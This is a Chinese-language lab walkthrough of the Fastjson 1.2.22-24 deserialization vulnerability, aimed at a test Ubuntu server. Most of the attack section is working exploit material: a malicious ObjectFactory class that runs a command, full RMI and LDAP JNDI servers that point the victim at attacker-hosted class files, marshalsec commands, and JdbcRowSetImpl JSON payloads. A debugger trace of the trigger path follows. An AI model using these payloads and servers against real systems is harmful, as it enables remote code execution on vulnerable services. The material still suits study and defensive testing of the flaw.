Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2)
1.环境搭建
我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者
本机地址:192.168.202.1
ubuntu地址:192.168.202.129
JDK版本:jdk8u102
1.1 被攻击服务器
这里用ubuntu模拟被攻击的服务器
在ubuntu搭建一个springboot网站,用来模拟解析fastjson:
pom.xml
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.0</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
新建一个控制器:HelloController
package com.yy.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public Object hello(@RequestParam("name")String name) throws Exception {
Object object = JSON.parseObject(name);
return object + "+" + name;
}
}
启动springboot并且访问,传输name={"name":"yangyang"},就会出现被解析的json字符串
1.2 攻击机
本机用来攻击ubuntu
新建一个恶意类,注意需要继承ObjectFactory接口:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exec implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
return null;
}
}
把恶意类编译成class文件
javac exec.java
在本机包含恶意类的目录下,启动一个web服务器,访问8000端口可以下载恶意类
2. 漏洞利用
2.1 JNDI+RMI的利用
由于在JNDI利用RMI攻击时,8u113版本开始做了限制导致无法利用,所以我们把被攻击服务器(ubuntu)的JDK版本设置为了8u112
本机启动一个Server端,利用JNDI启动RMI注册中心,绑定恶意类
package com.yy.jndi.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("exec", "exec", "http://192.168.202.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("exp", refObjWrapper);
}
}
打开具有漏洞的网站,输入payload,其中的dataSourceName后面填上是访问注册中心的url
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}
由于容器会把特殊字符进行一次url解码,所以我们这里进行一次编码
发送payload后,ubuntu弹出了计算器
服务器日志里出现了下载信息
2.2 JNDI+LDAP的利用
LDAP利用的话,版本更加的广
和RMI利用一样,本机启动一个server端,
package com.yy.jndi.ldap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://192.168.202.1:8000/#exec", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
String[]的参数
第一个参数是下载class文件的url地址:http://192.168.202.1:8000/#exec
第二个参数是LDAP的交互端口:9999
接下来就是攻击fastjson服务器了,以下是payload,只需要改下url地址就行,填的是访问LDAP服务端的URL地址
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}
在发送前同样进行一次url编码:
发送后,弹出了计算器,服务器日志也有响应
2.3 利用marshalsec
其实以上无论是利用RMI还是LDAP都可以使用marshalsec来更简化的完成
marshalsec地址
https://github.com/mbechler/marshalsec
需要用maven进行生成jar包,进入marshalsec
目录后
git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
2.3.1 利用JNDI+RMI
在有恶意类的目录下,启动python的web服务
利用marshalsec启动RMI注册中心
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.202.1:8000/#exec
编码payload后,进行发送:
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}
弹出计算器:
2.3.2 利用JNDI+LDAP
启动LDAP服务端,这里不能填写127.0.0.1:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#exec 9999
编码payload后发送
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}
弹出计算器
3.漏洞分析
这个payload利用的是com.sun.rowset.JdbcRowSetImpl类进行触发操作,利用setDataSourceName方法把dataSource的值设置成了恶意的ldap地址,然后利用setAutoCommit调用了lookup操作,访问了恶意的ldap地址导致了jndi注入(会远程加载类后按顺序执行静态方法,初始方法,构造方法最后到getObjectInstance方法),而这些方法里面就有命令执行的操作。
分别在setAutoCommit和setDataSourceName处下个断点,发送payload:
在第1373行进行了将dataSource设置成了ldap://192.168.202.1:9999/exec
直接下一个断点,再来看另外一个方法setAutoCommit
这里调用了connect()方法,跟进
在326行就进行了熟悉的InitialContext#lookup了,执行完毕后就会弹出计算器
总结:
利用JdbcRowSetImpl类来攻击,实用性更加的广泛,而使用TemplatesImpl类的话,则需要在解析函数中加入Feature.SupportNonPublicField选项
在JDK高版本中,比如8u191,这案例中的远程加载恶意类的利用方式已经失效,不过并没有限制从本地进行加载类文件,可以参考我得另一篇讲的高版本JNDI注入得文章。
参考:
https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u
https://blog.csdn.net/qq_34101364/article/details/111706189
Fastjson 1.2.22-24 反序列化漏洞分析(2)的更多相关文章
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson 1.2.22-24 反序列化漏洞分析(1)
Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
随机推荐
- kivy八种布局方式学习
kivy八种布局:FloatLayout.BoxLayout.AnchorLayout.GridLayout.PageLayout.RelativeLayout.ScatterLayout.Stack ...
- 35岁Android程序员被阿里辞退,生活压力太大痛哭,中年危机如何自救?
多数人都喜欢安逸的生活,尤其是随着年龄的增长,很多人都希望工作和生活趋于稳定,不愿意再让生活有很大的变动.可是,当达到一定的年龄时,危机还是存在的. 之前有一位阿里员工在脉脉上,晒出了自己被辞退的经历 ...
- 自动化可用到的Java读取Excel文件指定的行列数据
前言 在做接口自动化的时候,通常会遇到数据取用及存放的问题,一般有三种方式可选择 1.数据库存取 2.表格存取 3.项目配置文件存取 这里仅展示下第二种方式表格取数据的 示例 import org.a ...
- OceanBase三节点部署&&扩容
OceanBase三节点部署&&扩容 环境信息搭建三节点(1-1-1)创建资源池和租户查看数据分布 环境信息 IP OB目录 端口 192.168.43.89 /data/observ ...
- 【javaFX学习】(二) 面板手册
移至http://blog.csdn.net/qq_37837828/article/details/78732591 更新 找了好几个资料,没找到自己想要的,自己整理下吧,方便以后用的时候挑选,边学 ...
- Postman API 接口测试、Jenkin 持续集成测试
Postman 是一个创建和使用API的应用,Postman 对于Web开发者来说非常有用,Postman 带来的便利有很多,诸如: RESTFul接口测试不依赖其他端,进度不受影响 测试脚本即文档, ...
- STM32—驱动HC-SR04超声波测距模块
文章目录 超声波测距原理 HC-SR04工作原理 STM32实现驱动 1.引脚的配置 2.时序控制 3.时间差测量 4.如何将距离测出来 超声波测距原理 利用HC-SR04超声波测距模块可以实现比较精 ...
- comm tools
RTL:寄存器传输级别 LRM:语言参考手册 FSM:有限状态机 EDIF:电子数据交换格式 LSO:库搜索目录 XCF:XST 约束条件 1. par -ol. high 命令总是 '-'开头,参 ...
- SQL 练习38
查询选修了全部课程的学生信息 SELECT * from Student WHERE SId IN ( SELECT sid from sc GROUP BY sid HAVING COUNT(cid ...
- webpack编译遇到的问题:Error: Cannot find module 'webpack-cli/bin/config-yargs'
运行npm run dev遇到的问题:Error: Cannot find module 'webpack-cli/bin/config-yargs' // 当前package.json 文件 & ...